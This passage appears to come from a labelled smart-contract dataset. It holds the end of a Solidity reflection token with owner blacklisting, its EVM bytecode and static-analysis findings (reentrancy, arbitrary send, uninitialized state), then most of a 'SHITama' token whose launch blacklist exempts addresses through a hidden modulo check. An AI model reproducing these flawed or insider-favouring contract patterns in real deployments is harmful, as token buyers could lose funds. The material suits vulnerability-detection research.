_approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b038135169060200135610538565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610556565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610563565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105ea565b005b34801561029b57600080fd5b506102a4610663565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b50351515610668565b3480156102f257600080fd5b5061028d6106de565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610712565b34801561033a57600080fd5b5061028d61077c565b34801561034f57600080fd5b5061035861081e565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e61082d565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b03813516906020013561084e565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610862945050505050565b34801561047e57600080fd5b5061028d610916565b34801561049357600080fd5b5061028d610953565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d3a565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e3f565b60408051808201909152601e81527f4765656368696520496e75207c7c20742e6d652f47656563686965496e750000602082015290565b600061054c610545610e6a565b8484610e6e565b5060015b92915050565b683635c9adc5dea0000090565b6000610570848484610f5a565b6105e08461057c610e6a565b6105db85604051806060016040528060288152602001611fd1602891396001600160a01b038a166000908152600460205260408120906105ba610e6a565b6001600160a01b031681526020810191909152604001600020549190611330565b610e6e565b5060019392505050565b6105f2610e6a565b6000546001600160a01b03908116911614610642576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff9833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610670610e6a565b6000546001600160a01b039081169116146106c0576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff9833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106f2610e6a565b6001600160a01b03161461070557600080fd5b4761070f816113c7565b50565b6001600160a01b03811660009081526006602052604081205460ff161561075257506001600160a01b038116600090815260036020526040902054610777565b6001600160a01b0382166000908152600260205260409020546107749061144c565b90505b919050565b610784610e6a565b6000546001600160a01b039081169116146107d4576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff9833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6040805180820190915260078152664745454348494560c81b602082015290565b600061054c61085b610e6a565b8484610f5a565b61086a610e6a565b6000546001600160a01b039081169116146108ba576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff9833981519152604482015290519081900360640190fd5b60005b8151811015610912576001600760008484815181106108d857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108bd565b5050565b6010546001600160a01b031661092a610e6a565b6001600160a01b03161461093d57600080fd5b600061094830610712565b905061070f816114ac565b61095b610e6a565b6000546001600160a01b039081169116146109ab576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff9833981519152604482015290519081900360640190fd5b601354600160a01b900460ff1615610a0a576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a539030906001600160a01b0316683635c9adc5dea00000610e6e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8c57600080fd5b505afa158015610aa0573d6000803e3d6000fd5b505050506040513d6020811015610ab657600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610b0657600080fd5b505afa158015610b1a573d6000803e3d6000fd5b505050506040513d6020811015610b3057600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b8257600080fd5b505af1158015610b96573d6000803e3d6000fd5b505050506040513d6020811015610bac57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bde81610712565b600080610be961081e565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c5457600080fd5b505af1158015610c68573d6000803e3d6000fd5b50505050506040513d6060811015610c7f57600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610d0b57600080fd5b505af1158015610d1f573d6000803e3d6000fd5b505050506040513d6020811015610d3557600080fd5b505050565b610d42610e6a565b6000546001600160a01b03908116911614610d92576040805162461bcd60e51b81526020600482018190526024820152600080516020611ff9833981519152604482015290519081900360640190fd5b60008111610de7576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610e056064610dff683635c9adc5dea000008461167a565b906116d3565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610eb35760405162461bcd60e51b81526004018080602001828103825260248152602001806120676024913960400191505060405180910390fd5b6001600160a01b038216610ef85760405162461bcd60e51b8152600401808060200182810382526022815260200180611f8e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f9f5760405162461bcd60e51b81526004018080602001828103825260258152602001806120426025913960400191505060405180910390fd5b6001600160a01b038216610fe45760405162461bcd60e51b8152600401808060200182810382526023815260200180611f416023913960400191505060405180910390fd5b600081116110235760405162461bcd60e51b81526004018080602001828103825260298152602001806120196029913960400191505060405180910390fd5b61102b61081e565b6001600160a01b0316836001600160a01b031614158015611065575061104f61081e565b6001600160a01b0316826001600160a01b031614155b156112d357601354600160b81b900460ff161561115f576001600160a01b038316301480159061109e57506001600160a01b0382163014155b80156110b857506012546001600160a01b03848116911614155b80156110d257506012546001600160a01b03838116911614155b1561115f576012546001600160a01b03166110eb610e6a565b6001600160a01b0316148061111a57506013546001600160a01b031661110f610e6a565b6001600160a01b0316145b61115f576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116e57600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111b057506001600160a01b03821660009081526007602052604090205460ff16155b6111b957600080fd5b6013546001600160a01b0384811691161480156111e457506012546001600160a01b03838116911614155b801561120957506001600160a01b03821660009081526005602052604090205460ff16155b801561121e5750601354600160b81b900460ff165b15611266576001600160a01b038216600090815260086020526040902054421161124757600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061127130610712565b601354909150600160a81b900460ff1615801561129c57506013546001600160a01b03858116911614155b80156112b15750601354600160b01b900460ff165b156112d1576112bf816114ac565b4780156112cf576112cf476113c7565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061131557506001600160a01b03831660009081526005602052604090205460ff165b1561131e575060005b61132a84848484611715565b50505050565b600081848411156113bf5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138457818101518382015260200161136c565b50505050905090810190601f1680156113b15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113e18360026116d3565b6040518115909202916000818181858888f19350505050158015611409573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114248360026116d3565b6040518115909202916000818181858888f19350505050158015610912573d6000803e3d6000fd5b6000600a5482111561148f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611f64602a913960400191505060405180910390fd5b6000611499611831565b90506114a583826116d3565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114ed57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561154157600080fd5b505afa158015611555573d6000803e3d6000fd5b505050506040513d602081101561156b57600080fd5b505181518290600190811061157c57fe5b6001600160a01b0392831660209182029290920101526012546115a29130911684610e6e565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611628578181015183820152602001611610565b505050509050019650505050505050600060405180830381600087803b15801561165157600080fd5b505af1158015611665573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261168957506000610550565b8282028284828161169657fe5b04146114a55760405162461bcd60e51b8152600401808060200182810382526021815260200180611fb06021913960400191505060405180910390fd5b60006114a583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611854565b80611722576117226118b9565b6001600160a01b03841660009081526006602052604090205460ff16801561176357506001600160a01b03831660009081526006602052604090205460ff16155b15611778576117738484846118eb565b611824565b6001600160a01b03841660009081526006602052604090205460ff161580156117b957506001600160a01b03831660009081526006602052604090205460ff165b156117c957611773848484611a0f565b6001600160a01b03841660009081526006602052604090205460ff16801561180957506001600160a01b03831660009081526006602052604090205460ff165b1561181957611773848484611ab8565b611824848484611b2b565b8061132a5761132a611b6f565b600080600061183e611b7d565b909250905061184d82826116d3565b9250505090565b600081836118a35760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561138457818101518382015260200161136c565b5060008385816118af57fe5b0495945050505050565b600c541580156118c95750600d54155b156118d3576118e9565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118fd87611cfc565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061192f9088611d59565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461195e9087611d59565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461198d9086611d9b565b6001600160a01b0389166000908152600260205260409020556119af81611df5565b6119b98483611e7d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a2187611cfc565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a539087611d59565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a899084611d9b565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461198d9086611d9b565b600080600080600080611aca87611cfc565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611afc9088611d59565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a539087611d59565b600080600080600080611b3d87611cfc565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061195e9087611d59565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cbc57826002600060098481548110611bad57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c125750816003600060098481548110611beb57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c3057600a54683635c9adc5dea0000094509450505050611cf8565b611c706002600060098481548110611c4457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d59565b9250611cb26003600060098481548110611c8657fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d59565b9150600101611b91565b50600a54611cd390683635c9adc5dea000006116d3565b821015611cf257600a54683635c9adc5dea00000935093505050611cf8565b90925090505b9091565b6000806000806000806000806000611d198a600c54600d54611ea1565b9250925092506000611d29611831565b90506000806000611d3c8e878787611ef0565b919e509c509a509598509396509194505050505091939550919395565b60006114a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611330565b6000828201838110156114a5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dff611831565b90506000611e0d838361167a565b30600090815260026020526040902054909150611e2a9082611d9b565b3060009081526002602090815260408083209390935560069052205460ff1615610d355730600090815260036020526040902054611e689084611d9b565b30600090815260036020526040902055505050565b600a54611e8a9083611d59565b600a55600b54611e9a9082611d9b565b600b555050565b6000808080611eb56064610dff898961167a565b90506000611ec86064610dff8a8961167a565b90506000611ee082611eda8b86611d59565b90611d59565b9992985090965090945050505050565b6000808080611eff888661167a565b90506000611f0d888761167a565b90506000611f1b888861167a565b90506000611f2d82611eda8686611d59565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220085bbffbe0ea388d0a0c7daf86a30985f3fa02e940e37e7b8cfbe5e9f33c3bc764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,754
0x87d70a9b4ed465bf6f11c0f5488802b9b7eed60d
//SPDX-License-Identifier: MIT pragma solidity 0.8.11; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; } function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); } function renounceOwnership() external onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address owner); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHITAMA is IERC20, Auth { string constant _name = "SHITama"; string constant _symbol = "SHITama"; uint8 constant _decimals = 9; uint256 constant _totalSupply = 69 * 10**9 * 10**_decimals; uint32 immutable _smd; uint32 immutable _smr; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; bool public tradingOpen; uint256 public maxTxAmount; uint256 public maxWalletAmount; uint256 public taxSwapMin; uint256 public taxSwapMax; mapping (address => bool) private _isLiqPool; uint16 public snipersCaught = 0; uint8 constant _defTaxRate = 7; uint8 public buyTaxRate; uint8 public sellTaxRate; uint8 public txTaxRate; uint16 private _autoLPShares = 429; uint16 private _marketingShares = 429; uint16 private _devShares = 142; uint256 private _humanBlock = 0; mapping (address => bool) private _nonSniper; mapping (address => uint256) private _blacklistBlock; uint8 private _gasPriceBlocks = 6; address payable private marketingFeeWallet = payable(0xaC5bC3D85bC1E0036f33135eA4d2b46eE3d5b0D3); address payable private devFeeWallet = payable(0xD8410138c0F8b5F58B66d6dcfB6Ff77Dd2d5e53a); bool private _inTaxSwap = false; address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _uniswapV2Router; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } constructor (uint32 smd, uint32 smr) Auth(msg.sender) { tradingOpen = false; maxTxAmount = _totalSupply; maxWalletAmount = _totalSupply; taxSwapMin = _totalSupply * 10/ 10000; taxSwapMax = _totalSupply * 50 / 10000; _uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress); _noFees[owner] = true; _noFees[address(this)] = true; _noFees[_uniswapV2RouterAddress] = true; _noFees[marketingFeeWallet] = true; _noFees[devFeeWallet] = true; _noLimits[marketingFeeWallet] = true; _noLimits[devFeeWallet] = true; _smd = smd; _smr = smr; _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _balances[address(this)]); } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) { //wallets approving before CA is announced as safe are obvious snipers _addBlacklist(msg.sender, block.number, true); } _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(), "Trading not open"); if (_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function initLP(uint256 ethAmountWei) external onlyOwner { require(!tradingOpen, "trading already open"); require(ethAmountWei > 0, "eth cannot be 0"); _nonSniper[address(this)] = true; _nonSniper[owner] = true; _nonSniper[marketingFeeWallet] = true; _nonSniper[devFeeWallet] = true; // _nonSniper[_tokenTaxWallet] = true; uint256 _contractETHBalance = address(this).balance; require(_contractETHBalance >= ethAmountWei, "not enough eth"); uint256 _contractTokenBalance = balanceOf(address(this)); require(_contractTokenBalance > 0, "no tokens"); address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _isLiqPool[_uniLpAddr] = true; _nonSniper[_uniLpAddr] = true; _approveRouter(_contractTokenBalance); _addLiquidity(_contractTokenBalance, ethAmountWei, false); _openTrading(); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) { _allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max; emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max); } } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lpTokenRecipient = address(0); if ( !autoburn ) { lpTokenRecipient = owner; } _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp ); } function _openTrading() internal { _humanBlock = block.number + 6; maxTxAmount = 5 * _totalSupply / 1000 + 10**_decimals; maxWalletAmount = 5 * _totalSupply / 1000 + 10**_decimals; buyTaxRate = _defTaxRate; sellTaxRate = 2 * _defTaxRate; // anti-jeet sell tax to be removed later after launch txTaxRate = _defTaxRate; tradingOpen = true; } function humanize() external onlyOwner{ require(_humanBlock > block.number, "already humanized"); _humanize(0); } function _humanize(uint8 blkcount) internal { if ( _humanBlock > block.number || _humanBlock == 0 ) { _humanBlock = block.number + blkcount; } } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if ( _humanBlock > block.number ) { if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); } else if ( _blacklistBlock[sender] == 0 ) { _addBlacklist(recipient, block.number, true); } else { _addBlacklist(recipient, _blacklistBlock[sender], false); } } else { if ( _blacklistBlock[sender] != 0 ) { _addBlacklist(recipient, _blacklistBlock[sender], false); } if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice >= block.basefee + 100 gwei ) { revert("Gas price over limit"); } } if ( tradingOpen && _blacklistBlock[sender] != 0 && _blacklistBlock[sender] < block.number ) { revert("blacklisted"); } if ( !_inTaxSwap && _isLiqPool[recipient] ) { _swapTaxAndLiquify(); } if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; } _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _addBlacklist(address wallet, uint256 snipeBlockNum, bool addSniper) internal { if ( !_nonSniper[wallet] && _blacklistBlock[wallet] == 0 ) { _blacklistBlock[wallet] = snipeBlockNum; if ( addSniper) { snipersCaught ++; } } } function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( tradingOpen && !_noLimits[recipient] ) { if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen() private view returns (bool){ bool checkResult = false; if ( tradingOpen ) { checkResult = true; } else if ( tx.origin == owner ) { checkResult = true; } return checkResult; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; } else if ( _isLiqPool[sender] ) { taxAmount = amount * buyTaxRate / 100; } else if ( _isLiqPool[recipient] ) { taxAmount = amount * sellTaxRate / 100; } else { taxAmount = amount * txTaxRate / 100; } return taxAmount; } function isBlacklisted(address wallet) external view returns(bool) { if ( _blacklistBlock[wallet] != 0 ) { return true; } else { return false; } } function blacklistedInBlock(address wallet) external view returns(uint256) { return _blacklistBlock[wallet]; } function feesDisable(address wallet, bool setting) external onlyOwner { _noFees[ wallet ] = setting; } function limitsDisable(address wallet, bool setting) external onlyOwner { _noLimits[ wallet ] = setting; } function adjustTaxRate(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner { require(newBuyTax <= _defTaxRate && newSellTax <= _defTaxRate && newTxTax <= _defTaxRate, "Tax too high"); buyTaxRate = newBuyTax; sellTaxRate = newSellTax; txTaxRate = newTxTax; } function enableBuySupport() external onlyOwner { buyTaxRate = 0; sellTaxRate = 2 * _defTaxRate; } function changeTaxDistributionPermile(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDev) external onlyOwner { require(sharesAutoLP + sharesMarketing + sharesDev == 1000, "Sum must be 1000" ); _autoLPShares = sharesAutoLP; _marketingShares = sharesMarketing; _devShares = sharesDev; } function setTaxWallets(address newMarketingFeeWallet, address newDevFeeWallet) external onlyOwner { 